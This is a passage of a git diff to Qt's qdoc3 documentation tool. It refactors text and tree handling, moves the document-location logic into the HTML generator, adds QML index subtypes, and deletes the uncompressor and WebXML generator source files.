end = end->next();
- if ( end == 0 )
+ if (end == 0)
begin = 0;
- return subText( begin, end );
+ else if (inclusive)
+ end = end->next();
+ return subText(begin, end);
}
-Text Text::sectionHeading(const Atom *sectionLeft)
+Text Text::sectionHeading(const Atom* sectionLeft)
{
- if ( sectionLeft != 0 ) {
- const Atom *begin = sectionLeft;
- while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft )
+ if (sectionLeft != 0) {
+ const Atom* begin = sectionLeft;
+ while (begin != 0 && begin->type() != Atom::SectionHeadingLeft)
begin = begin->next();
- if ( begin != 0 )
+ if (begin != 0)
begin = begin->next();
- const Atom *end = begin;
- while ( end != 0 && end->type() != Atom::SectionHeadingRight )
+ const Atom* end = begin;
+ while (end != 0 && end->type() != Atom::SectionHeadingRight)
end = end->next();
- if ( end != 0 )
- return subText( begin, end );
+ if (end != 0)
+ return subText(begin, end);
}
return Text();
}
-const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft)
+const Atom* Text::sectionHeadingAtom(const Atom* sectionLeft)
{
- if ( sectionLeft != 0 ) {
- const Atom *begin = sectionLeft;
- while ( begin != 0 && begin->type() != Atom::SectionHeadingLeft )
+ if (sectionLeft != 0) {
+ const Atom* begin = sectionLeft;
+ while (begin != 0 && begin->type() != Atom::SectionHeadingLeft)
begin = begin->next();
- if ( begin != 0 )
+ if (begin != 0)
begin = begin->next();
return begin;
@@ -204,25 +210,25 @@ const Atom *Text::sectionHeadingAtom(const Atom *sectionLeft)
void Text::dump() const
{
- const Atom *atom = firstAtom();
- while ( atom != 0 ) {
+ const Atom* atom = firstAtom();
+ while (atom != 0) {
QString str = atom->string();
- str.replace( "\\", "\\\\" );
- str.replace( "\"", "\\\"" );
- str.replace( "\n", "\\n" );
- str.replace( QRegExp("[^\x20-\x7e]"), "?" );
- if ( !str.isEmpty() )
+ str.replace("\\", "\\\\");
+ str.replace("\"", "\\\"");
+ str.replace("\n", "\\n");
+ str.replace(QRegExp("[^\x20-\x7e]"), "?");
+ if (!str.isEmpty())
str = " \"" + str + "\"";
- fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data() );
+ fprintf(stderr, " %-15s%s\n", atom->typeString().toLatin1().data(), str.toLatin1().data());
atom = atom->next();
}
}
-Text Text::subText( const Atom *begin, const Atom *end )
+Text Text::subText(const Atom* begin, const Atom* end)
{
Text text;
- if ( begin != 0 ) {
- while ( begin != end ) {
+ if (begin != 0) {
+ while (begin != end) {
text << *begin;
begin = begin->next();
}
@@ -232,8 +238,8 @@ Text Text::subText( const Atom *begin, const Atom *end )
void Text::clear()
{
- while ( first != 0 ) {
- Atom *atom = first;
+ while (first != 0) {
+ Atom* atom = first;
first = first->next();
delete atom;
}
@@ -248,8 +254,8 @@ int Text::compare(const Text &text1, const Text &text2)
if (text2.isEmpty())
return 1;
- const Atom *atom1 = text1.firstAtom();
- const Atom *atom2 = text2.firstAtom();
+ const Atom* atom1 = text1.firstAtom();
+ const Atom* atom2 = text2.firstAtom();
for (;;) {
if (atom1->type() != atom2->type())
diff --git a/tools/qdoc3/text.h b/tools/qdoc3/text.h
index e2c81ac..c88ed62 100644
--- a/tools/qdoc3/text.h
+++ b/tools/qdoc3/text.h
@@ -73,7 +73,7 @@ class Text
QString toString() const;
const Atom *firstAtom() const { return first; }
const Atom *lastAtom() const { return last; }
- Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0) const;
+ Text subText(Atom::Type left, Atom::Type right, const Atom *from = 0, bool inclusive = false) const;
void dump() const;
void clear();
diff --git a/tools/qdoc3/tokenizer.cpp b/tools/qdoc3/tokenizer.cpp
index 9f116b1..4b35705 100644
--- a/tools/qdoc3/tokenizer.cpp
+++ b/tools/qdoc3/tokenizer.cpp
@@ -42,7 +42,6 @@
#include "config.h"
#include "tokenizer.h"
-#include <qdebug.h>
#include <qfile.h>
#include <qhash.h>
#include <qregexp.h>
diff --git a/tools/qdoc3/tr.h b/tools/qdoc3/tr.h
index 956fbc9..89b7ef4 100644
--- a/tools/qdoc3/tr.h
+++ b/tools/qdoc3/tr.h
@@ -46,14 +46,26 @@
#ifndef TR_H
#define TR_H
+#ifndef QT_BOOTSTRAPPED
+# include "qcoreapplication.h"
+#endif
+
#include <qstring.h>
QT_BEGIN_NAMESPACE
-inline QString tr( const char *sourceText, const char * /* comment */ = 0 )
+#if defined(QT_BOOTSTRAPPED) || defined(QT_NO_TRANSLATION)
+inline QString tr(const char *sourceText, const char *comment = 0)
{
+ Q_UNUSED(comment);
return QString( QLatin1String(sourceText) );
}
+#else
+inline QString tr(const char *sourceText, const char *comment = 0)
+{
+ return QCoreApplication::instance()->translate("", sourceText, comment);
+}
+#endif
QT_END_NAMESPACE
diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp
index 4217397..fb4e9f5 100644
--- a/tools/qdoc3/tree.cpp
+++ b/tools/qdoc3/tree.cpp
@@ -54,7 +54,6 @@
#include "tree.h"
#include <limits.h>
-#include <qdebug.h>
QT_BEGIN_NAMESPACE
@@ -591,12 +590,6 @@ void Tree::resolveGroups()
if (fake && fake->subType() == Node::Group) {
fake->addGroupMember(i.value());
}
-#if 0
- else {
- if (prevGroup != i.key())
- i.value()->doc().location().warning(tr("No such group '%1'").arg(i.key()));
- }
-#endif
prevGroup = i.key();
}
@@ -812,6 +805,12 @@ void Tree::readIndexSection(const QDomElement &element,
subtype = Node::Page;
else if (element.attribute("subtype") == "externalpage")
subtype = Node::ExternalPage;
+ else if (element.attribute("subtype") == "qmlclass")
+ subtype = Node::QmlClass;
+ else if (element.attribute("subtype") == "qmlpropertygroup")
+ subtype = Node::QmlPropertyGroup;
+ else if (element.attribute("subtype") == "qmlbasictype")
+ subtype = Node::QmlBasicType;
else
return;
@@ -1227,7 +1226,7 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer,
QString fullName = fullDocumentName(node);
if (fullName != objName)
writer.writeAttribute("fullname", fullName);
- writer.writeAttribute("href", fullDocumentLocation(node));
+ writer.writeAttribute("href", HtmlGenerator::fullDocumentLocation(node));
if ((node->type() != Node::Fake) && (!node->isQmlNode()))
writer.writeAttribute("location", node->location().fileName());
@@ -1365,6 +1364,8 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer,
{
const QmlPropertyNode *qpn = static_cast<const QmlPropertyNode*>(node);
writer.writeAttribute("type", qpn->dataType());
+ writer.writeAttribute("attached", qpn->isAttached() ? "true" : "false");
+ writer.writeAttribute("writable", qpn->isWritable(this) ? "true" : "false");
}
break;
case Node::Property:
@@ -1735,7 +1736,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer,
if (node->type() == Node::Class) {
writer.writeTextElement("name", fullDocumentName(node));
- writer.writeTextElement("filename", fullDocumentLocation(node));
+ writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node));
// Classes contain information about their base classes.
const ClassNode *classNode = static_cast<const ClassNode*>(node);
@@ -1753,7 +1754,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer,
generateTagFileCompounds(writer, static_cast<const InnerNode *>(node));
} else {
writer.writeTextElement("name", fullDocumentName(node));
- writer.writeTextElement("filename", fullDocumentLocation(node));
+ writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node));
// Recurse to write all members.
generateTagFileMembers(writer, static_cast<const InnerNode *>(node));
@@ -1874,7 +1875,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
"virtual " + functionNode->returnType());
writer.writeTextElement("name", objName);
- QStringList pieces = fullDocumentLocation(node).split("#");
+ QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
writer.writeTextElement("anchorfile", pieces[0]);
writer.writeTextElement("anchor", pieces[1]);
@@ -1914,7 +1915,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
const PropertyNode *propertyNode = static_cast<const PropertyNode*>(node);
writer.writeAttribute("type", propertyNode->dataType());
writer.writeTextElement("name", objName);
- QStringList pieces = fullDocumentLocation(node).split("#");
+ QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
writer.writeTextElement("anchorfile", pieces[0]);
writer.writeTextElement("anchor", pieces[1]);
writer.writeTextElement("arglist", "");
@@ -1926,7 +1927,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
{
const EnumNode *enumNode = static_cast<const EnumNode*>(node);
writer.writeTextElement("name", objName);
- QStringList pieces = fullDocumentLocation(node).split("#");
+ QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
writer.writeTextElement("anchor", pieces[1]);
writer.writeTextElement("arglist", "");
writer.writeEndElement(); // member
@@ -1950,7 +1951,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer,
else
writer.writeAttribute("type", "");
writer.writeTextElement("name", objName);
- QStringList pieces = fullDocumentLocation(node).split("#");
+ QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#");
writer.writeTextElement("anchorfile", pieces[0]);
writer.writeTextElement("anchor", pieces[1]);
writer.writeTextElement("arglist", "");
@@ -2002,160 +2003,6 @@ void Tree::addExternalLink(const QString &url, const Node *relative)
}
/*!
- Returns the full document location for HTML-based documentation.
- This should be moved into the HTML generator.
- */
-QString Tree::fullDocumentLocation(const Node *node) const
-{
- if (!node)
- return "";
- if (!node->url().isEmpty())
- return node->url();
-
- QString parentName;
- QString anchorRef;
-
- if (node->type() == Node::Namespace) {
-
- // The root namespace has no name - check for this before creating
- // an attribute containing the location of any documentation.
-
- if (!node->fileBase().isEmpty())
- parentName = node->fileBase() + ".html";
- else
- return "";
- }
- else if (node->type() == Node::Fake) {
-#ifdef QDOC_QML
- if ((node->subType() == Node::QmlClass) ||
- (node->subType() == Node::QmlBasicType)) {
- QString fb = node->fileBase();
- if (fb.startsWith(QLatin1String("qml-")))
- return fb + ".html";
- else
- return "qml-" + node->fileBase() + ".html";
- } else
-#endif
- parentName = node->fileBase() + ".html";
- }
- else if (node->fileBase().isEmpty())
- return "";
-
- Node *parentNode = 0;
-
- if ((parentNode = node->relates()))
- parentName = fullDocumentLocation(node->relates());
- else if ((parentNode = node->parent())) {
- if (parentNode->subType() == Node::QmlPropertyGroup) {
- parentNode = parentNode->parent();
- parentName = fullDocumentLocation(parentNode);
- }
- else
- parentName = fullDocumentLocation(node->parent());
- }
-#if 0
- if (node->type() == Node::QmlProperty) {
- qDebug() << "Node::QmlProperty:" << node->name()
- << "parentName:" << parentName;
- if (parentNode)
- qDebug() << "PARENT NODE" << parentNode->type()
- << parentNode->subType() << parentNode->name();
- }
-#endif
- switch (node->type()) {
- case Node::Class:
- case Node::Namespace:
- if (parentNode && !parentNode->name().isEmpty())
- parentName = parentName.replace(".html", "") + "-"
- + node->fileBase().toLower() + ".html";
- else
- parentName = node->fileBase() + ".html";
- break;
- case Node::Function:
- {
- /*
- Functions can be destructors, overloaded, or
- have associated properties.
- */
- const FunctionNode *functionNode =
- static_cast<const FunctionNode *>(node);
-
- if (functionNode->metaness() == FunctionNode::Dtor)
- anchorRef = "#dtor." + functionNode->name().mid(1);
-
- else if (functionNode->associatedProperty())
- return fullDocumentLocation(functionNode->associatedProperty());
-
- else if (functionNode->overloadNumber() > 1)
- anchorRef = "#" + functionNode->name()
- + "-" + QString::number(functionNode->overloadNumber());
- else
- anchorRef = "#" + functionNode->name();
- }
-
- /*
- Use node->name() instead of node->fileBase() as
- the latter returns the name in lower-case. For
- HTML anchors, we need to preserve the case.
- */
- break;
- case Node::Enum:
- anchorRef = "#" + node->name() + "-enum";
- break;
- case Node::Typedef:
- anchorRef = "#" + node->name() + "-typedef";
- break;
- case Node::Property:
- anchorRef = "#" + node->name() + "-prop";
- break;
- case Node::QmlProperty:
- anchorRef = "#" + node->name() + "-prop";
- break;
- case Node::QmlSignal:
- anchorRef = "#" + node->name() + "-signal";
- break;
- case Node::QmlMethod:
- anchorRef = "#" + node->name() + "-method";
- break;
- case Node::Variable:
- anchorRef = "#" + node->name() + "-var";
- break;
- case Node::Target:
- anchorRef = "#" + Doc::canonicalTitle(node->name());
- break;
- case Node::Fake:
- {
- /*
- Use node->fileBase() for fake nodes because they are represented
- by pages whose file names are lower-case.
- */
- parentName = node->fileBase();
- parentName.replace("/", "-").replace(".", "-");
- parentName += ".html";
- }
- break;
- default:
- break;
- }
-
- // Various objects can be compat (deprecated) or obsolete.
- if (node->type() != Node::Class && node->type() != Node::Namespace) {
- switch (node->status()) {
- case Node::Compat:
- parentName.replace(".html", "-qt3.html");
- break;
- case Node::Obsolete:
- parentName.replace(".html", "-obsolete.html");
- break;
- default:
- ;
- }
- }
-
- return parentName.toLower() + anchorRef;
-}
-
-/*!
Construct the full document name for \a node and return the
name.
*/
diff --git a/tools/qdoc3/uncompressor.cpp b/tools/qdoc3/uncompressor.cpp
deleted file mode 100644
index af80ee9..0000000
--- a/tools/qdoc3/uncompressor.cpp
+++ /dev/null
@@ -1,108 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- uncompressor.cpp
-*/
-
-#include "uncompressor.h"
-
-QT_BEGIN_NAMESPACE
-
-QList<Uncompressor *> Uncompressor::uncompressors;
-
-
-/*!
- \class Uncompressor
-
- \brief The Uncompressor class is a base class for classes that
- know how to uncompress a certain kind of compressed file.
-
- The uncompressor contains a list of the filename extensions
- of the file types that the uncompressor knows how to uncompress.
-
- It maintains a static list of all the instances of Uncompressor
- that have been created. It also has a static function for searching
- that list to find the uncompressor to use for uncompressing a file
- with a certain extension.
- */
-
-/*!
- The constructor takes a list of filename extensions, which it
- copies and saves internally. This uncompressor is prepended
- to the stack list.
- */
-Uncompressor::Uncompressor( const QStringList& extensions )
- : fileExts( extensions )
-{
- uncompressors.prepend( this );
-}
-
-/*!
- The destructor deletes all the filename extensions.
- */
-Uncompressor::~Uncompressor()
-{
- uncompressors.removeAll( this );
-}
-
-/*!
- This function searches the static list of uncompressors to find the
- first one that can handle \a fileName. If it finds an acceptable
- uncompressor, it returns a pointer to it. Otherwise it returns null.
-*/
-Uncompressor*
-Uncompressor::uncompressorForFileName( const QString& fileName )
-{
- int dot = -1;
- while ( (dot = fileName.indexOf(".", dot + 1)) != -1 ) {
- QString ext = fileName.mid( dot + 1 );
- QList<Uncompressor *>::ConstIterator u = uncompressors.begin();
- while ( u != uncompressors.end() ) {
- if ( (*u)->fileExtensions().contains(ext) )
- return *u;
- ++u;
- }
- }
- return 0;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/webxmlgenerator.cpp b/tools/qdoc3/webxmlgenerator.cpp
deleted file mode 100644
index c639e50..0000000
--- a/tools/qdoc3/webxmlgenerator.cpp
+++ /dev/null
@@ -1,1195 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- webxmlgenerator.cpp
-*/
-
-#include "codemarker.h"
-#include "pagegenerator.h"
-#include "webxmlgenerator.h"
-#include "node.h"
-#include "separator.h"
-#include "tree.h"
-
-#include <QtCore/qxmlstream.h>
-
-QT_BEGIN_NAMESPACE
-
-#define COMMAND_VERSION Doc::alias("version")
-
-WebXMLGenerator::WebXMLGenerator()
- : PageGenerator()
-{
-}
-
-WebXMLGenerator::~WebXMLGenerator()
-{
-}
-
-void WebXMLGenerator::initializeGenerator(const Config &config)
-{
- Generator::initializeGenerator(config);
-
- project = config.getString(CONFIG_PROJECT);
-
- projectDescription = config.getString(CONFIG_DESCRIPTION);
- if (projectDescription.isEmpty() && !project.isEmpty())
- projectDescription = project + " Reference Documentation";
-
- projectUrl = config.getString(CONFIG_URL);
-
- generateIndex = config.getBool(CONFIG_GENERATEINDEX);
-}
-
-void WebXMLGenerator::terminateGenerator()
-{
- PageGenerator::terminateGenerator();
-}
-
-QString WebXMLGenerator::format()
-{
- return "WebXML";
-}
-
-QString WebXMLGenerator::fileExtension(const Node * /* node */) const
-{
- return "xml";
-}
-
-void WebXMLGenerator::generateTree(const Tree *tree, CodeMarker *marker)
-{
- tre = tree;
- moduleClassMap.clear();
- moduleNamespaceMap.clear();
- serviceClasses.clear();
- findAllClasses(tree->root());
- findAllNamespaces(tree->root());
-
- PageGenerator::generateTree(tree, marker);
-
- if (generateIndex)
- tre->generateIndex(outputDir() + "/" + project.toLower() + ".index",
- projectUrl, projectDescription, false);
-}
-
-void WebXMLGenerator::startText(const Node *relative, CodeMarker *marker)
-{
- inLink = false;
- inContents = false;
- inSectionHeading = false;
- numTableRows = 0;
- sectionNumber.clear();
- PageGenerator::startText(relative, marker);
-}
-
-int WebXMLGenerator::generateAtom(QXmlStreamWriter &writer, const Atom *atom,
- const Node *relative, CodeMarker *marker)
-{
- Q_UNUSED(writer);
-
- int skipAhead = 0;
-
- switch (atom->type()) {
- default:
- PageGenerator::generateAtom(atom, relative, marker);
- }
- return skipAhead;
-}
-
-void WebXMLGenerator::generateClassLikeNode(const InnerNode *inner,
- CodeMarker *marker)
-{
- QByteArray data;
- QXmlStreamWriter writer(&data);
- writer.setAutoFormatting(true);
- writer.writeStartDocument();
- writer.writeStartElement("WebXML");
- writer.writeStartElement("document");
-
- generateIndexSections(writer, inner, marker);
-
- writer.writeEndElement(); // document
- writer.writeEndElement(); // WebXML
- writer.writeEndDocument();
-
- out() << data;
- out().flush();
-}
-
-void WebXMLGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker)
-{
- QByteArray data;
- QXmlStreamWriter writer(&data);
- writer.setAutoFormatting(true);
- writer.writeStartDocument();
- writer.writeStartElement("WebXML");
- writer.writeStartElement("document");
-
- generateIndexSections(writer, fake, marker);
-
- writer.writeEndElement(); // document
- writer.writeEndElement(); // WebXML
- writer.writeEndDocument();
-
- out() << data;
- out().flush();
-}
-
-void WebXMLGenerator::generateIndexSections(QXmlStreamWriter &writer,
- const Node *node, CodeMarker *marker)
-{
- if (tre->generateIndexSection(writer, node, true)) {
-
- // Add documentation to this node if it exists.
- writer.writeStartElement("description");
- writer.writeAttribute("path", node->doc().location().filePath());
- writer.writeAttribute("line", QString::number(node->doc().location().lineNo()));
- writer.writeAttribute("column", QString::number(node->doc().location().columnNo()));
-
- if (node->type() == Node::Fake) {
-
- const FakeNode *fake = static_cast<const FakeNode *>(node);
-
- generateRelations(writer, node, marker);
-
- if (fake->subType() == Node::Module) {
- writer.writeStartElement("generatedlist");
- writer.writeAttribute("contents", "classesbymodule");
-
- if (moduleNamespaceMap.contains(fake->name())) {
- writer.writeStartElement("section");
- writer.writeStartElement("heading");
- writer.writeAttribute("level", "1");
- writer.writeCharacters("Namespaces");
- writer.writeEndElement(); // heading
- generateAnnotatedList(writer, fake, marker, moduleNamespaceMap[fake->name()]);
- writer.writeEndElement(); // section
- }
- if (moduleClassMap.contains(fake->name())) {
- writer.writeStartElement("section");
- writer.writeStartElement("heading");
- writer.writeAttribute("level", "1");
- writer.writeCharacters("Classes");
- writer.writeEndElement(); // heading
- generateAnnotatedList(writer, fake, marker, moduleClassMap[fake->name()]);
- writer.writeEndElement(); // section
- }
-
- writer.writeEndElement(); // generatedlist
- }
- }
-
- startText(node, marker);
-
- const Atom *atom = node->doc().body().firstAtom();
- while (atom)
- atom = addAtomElements(writer, atom, node, marker);
-
- QList<Text> alsoList = node->doc().alsoList();
- supplementAlsoList(node, alsoList);
-
- if (!alsoList.isEmpty()) {
- writer.writeStartElement("see-also");
- for (int i = 0; i < alsoList.size(); ++i) {
- const Atom *atom = alsoList.at(i).firstAtom();
- while (atom)
- atom = addAtomElements(writer, atom, node, marker);
- }
- writer.writeEndElement(); // see-also
- }
-
- writer.writeEndElement(); // description
-
- if (node->isInnerNode()) {
- const InnerNode *inner = static_cast<const InnerNode *>(node);
-
- // Recurse to generate an element for this child node and all its children.
- foreach (const Node *child, inner->childNodes())
- generateIndexSections(writer, child, marker);
-
- writer.writeStartElement("related");
- if (inner->relatedNodes().size() > 0) {
- foreach (const Node *child, inner->relatedNodes())
- generateIndexSections(writer, child, marker);
- }
- writer.writeEndElement(); // related
- }
- writer.writeEndElement();
- }
-}
-
-void WebXMLGenerator::generateInnerNode(const InnerNode *node, CodeMarker *marker)
-{
- if (!node->url().isNull())
- return;
-
- if (node->type() == Node::Fake) {
- const FakeNode *fakeNode = static_cast<const FakeNode *>(node);
- if (fakeNode->subType() == Node::ExternalPage)
- return;
- }
-
- if ( node->parent() != 0 ) {
- beginSubPage( node->location(), fileName(node) );
- if ( node->type() == Node::Namespace || node->type() == Node::Class) {
- generateClassLikeNode(node, marker);
- } else if ( node->type() == Node::Fake ) {
- generateFakeNode(static_cast<const FakeNode *>(node), marker);
- }
- endSubPage();
- }
-
- NodeList::ConstIterator c = node->childNodes().begin();
- while ( c != node->childNodes().end() ) {
- if ((*c)->isInnerNode() && (
- (*c)->access() != Node::Private || (*c)->status() == Node::Internal))
- generateInnerNode( (const InnerNode *) *c, marker );
- ++c;
- }
-}
-
-const Atom *WebXMLGenerator::addAtomElements(QXmlStreamWriter &writer,
- const Atom *atom, const Node *relative, CodeMarker *marker)
-{
- switch (atom->type()) {
- case Atom::AbstractLeft:
- case Atom::AbstractRight:
- break;
- case Atom::AutoLink:
- if (!inLink && !inSectionHeading) {
- const Node *node = findNode(atom, relative, marker);
- if (node) {
- startLink(writer, atom, node, relative);
- if (inLink) {
- writer.writeCharacters(atom->string());
- writer.writeEndElement(); // link
- inLink = false;
- }
- } else
- writer.writeCharacters(atom->string());
- } else
- writer.writeCharacters(atom->string());
- break;
- case Atom::BaseName:
- break;
- case Atom::BriefLeft:
-
- writer.writeStartElement("brief");
- switch (relative->type()) {
- case Node::Property:
- writer.writeCharacters("This property");
- break;
- case Node::Variable:
- writer.writeCharacters("This variable");
- break;
- default:
- break;
- }
- if (relative->type() == Node::Property || relative->type() == Node::Variable) {
- QString str;
- const Atom *a = atom->next();
- while (a != 0 && a->type() != Atom::BriefRight) {
- if (a->type() == Atom::String || a->type() == Atom::AutoLink)
- str += a->string();
- a = a->next();
- }
- str[0] = str[0].toLower();
- if (str.right(1) == ".")
- str.chop(1);
-
- QStringList words = str.split(" ");
- if (!(words.first() == "contains" || words.first() == "specifies"
- || words.first() == "describes" || words.first() == "defines"
- || words.first() == "holds" || words.first() == "determines"))
- writer.writeCharacters(" holds ");
- else
- writer.writeCharacters(" ");
- }
- break;
-
- case Atom::BriefRight:
- if (relative->type() == Node::Property || relative->type() == Node::Variable)
- writer.writeCharacters(".");
-
- writer.writeEndElement(); // brief
- break;
-
- case Atom::C:
- writer.writeStartElement("teletype");
- if (inLink)
- writer.writeAttribute("type", "normal");
- else
- writer.writeAttribute("type", "highlighted");
-
- writer.writeCharacters(plainCode(atom->string()));
- writer.writeEndElement(); // teletype
- break;
-
- case Atom::Code:
- writer.writeTextElement("code", trimmedTrailing(plainCode(atom->string())));
- break;
-
-#ifdef QDOC_QML
- case Atom::Qml:
- writer.writeTextElement("qml", trimmedTrailing(plainCode(atom->string())));
-#endif
-
- case Atom::CodeBad:
- writer.writeTextElement("badcode", trimmedTrailing(plainCode(atom->string())));
- break;
-
- case Atom::CodeNew:
- writer.writeTextElement("para", "you can rewrite it as");
- writer.writeTextElement("newcode", trimmedTrailing(plainCode(atom->string())));
- break;
-
- case Atom::CodeOld:
- writer.writeTextElement("para", "For example, if you have code like");
- writer.writeTextElement("oldcode", trimmedTrailing(plainCode(atom->string())));
- break;
-
- case Atom::CodeQuoteArgument:
- if (quoteCommand == "dots") {
- writer.writeAttribute("indent", atom->string());
- writer.writeCharacters("...");
- } else
- writer.writeCharacters(atom->string());
- writer.writeEndElement(); // code
- break;
-
- case Atom::CodeQuoteCommand:
- quoteCommand = atom->string();
- writer.writeStartElement(quoteCommand);
- break;
-
- case Atom::FootnoteLeft:
- writer.writeStartElement("footnote");
- break;
-
- case Atom::FootnoteRight:
- writer.writeEndElement(); // footnote
- break;
-/*
- case Atom::FormatElse:
- writer.writeStartElement("else");
- writer.writeEndElement(); // else
- break;
-*/
- case Atom::FormatEndif:
- writer.writeEndElement(); // raw
- break;
- case Atom::FormatIf:
- writer.writeStartElement("raw");
- writer.writeAttribute("format", atom->string());
- break;
- case Atom::FormattingLeft:
- {
- if (atom->string() == ATOM_FORMATTING_BOLD)
- writer.writeStartElement("bold");
- else if (atom->string() == ATOM_FORMATTING_ITALIC)
- writer.writeStartElement("italic");
- else if (atom->string() == ATOM_FORMATTING_UNDERLINE)
- writer.writeStartElement("underline");
- else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT)
- writer.writeStartElement("subscript");
- else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT)
- writer.writeStartElement("superscript");
- else if (atom->string() == ATOM_FORMATTING_TELETYPE)
- writer.writeStartElement("teletype");
- else if (atom->string() == ATOM_FORMATTING_PARAMETER)
- writer.writeStartElement("argument");
- else if (atom->string() == ATOM_FORMATTING_INDEX)
- writer.writeStartElement("index");
- }
- break;
-/* out() << formattingLeftMap()[atom->string()];
- if ( atom->string() == ATOM_FORMATTING_PARAMETER ) {
- if ( atom->next() != 0 && atom->next()->type() == Atom::String ) {
- QRegExp subscriptRegExp( "([a-z]+)_([0-9n])" );
- if ( subscriptRegExp.exactMatch(atom->next()->string()) ) {
- out() << subscriptRegExp.cap( 1 ) << "<sub>"
- << subscriptRegExp.cap( 2 ) << "</sub>";
- skipAhead = 1;
- }
- }
- }*/
- case Atom::FormattingRight:
- {
- if (atom->string() == ATOM_FORMATTING_BOLD)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_ITALIC)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_UNDERLINE)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_SUBSCRIPT)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_SUPERSCRIPT)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_TELETYPE)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_PARAMETER)
- writer.writeEndElement();
- else if (atom->string() == ATOM_FORMATTING_INDEX)
- writer.writeEndElement();
- }
- if (inLink) {
- writer.writeEndElement(); // link
- inLink = false;
- }
- break;
-/* if ( atom->string() == ATOM_FORMATTING_LINK ) {
- if (inLink) {
- if ( link.isEmpty() ) {
- if (showBrokenLinks)
- out() << "</i>";
- } else {
- out() << "</a>";
- }
- }
- inLink = false;
- } else {
- out() << formattingRightMap()[atom->string()];
- }*/
- case Atom::GeneratedList:
- writer.writeStartElement("generatedlist");
- writer.writeAttribute("contents", atom->string());
- writer.writeEndElement(); // generatedlist
-/*
- if (atom->string() == "annotatedclasses") {
- generateAnnotatedList(relative, marker, nonCompatClasses);
- } else if (atom->string() == "classes") {
- generateCompactList(relative, marker, nonCompatClasses);
- } else if (atom->string().contains("classesbymodule")) {
- QString arg = atom->string().trimmed();
- QString moduleName = atom->string().mid(atom->string().indexOf(
- "classesbymodule") + 15).trimmed();
- if (moduleClassMap.contains(moduleName))
- generateAnnotatedList(relative, marker, moduleClassMap[moduleName]);
- } else if (atom->string().contains("classesbyedition")) {
- QString arg = atom->string().trimmed();
- QString editionName = atom->string().mid(atom->string().indexOf(
- "classesbyedition") + 16).trimmed();
- if (editionModuleMap.contains(editionName)) {
- QMap<QString, const Node *> editionClasses;
- foreach (const QString &moduleName, editionModuleMap[editionName]) {
- if (moduleClassMap.contains(moduleName))
- editionClasses.unite(moduleClassMap[moduleName]);
- }
- generateAnnotatedList(relative, marker, editionClasses);
- }
- } else if (atom->string() == "classhierarchy") {
- generateClassHierarchy(relative, marker, nonCompatClasses);
- } else if (atom->string() == "compatclasses") {
- generateCompactList(relative, marker, compatClasses);
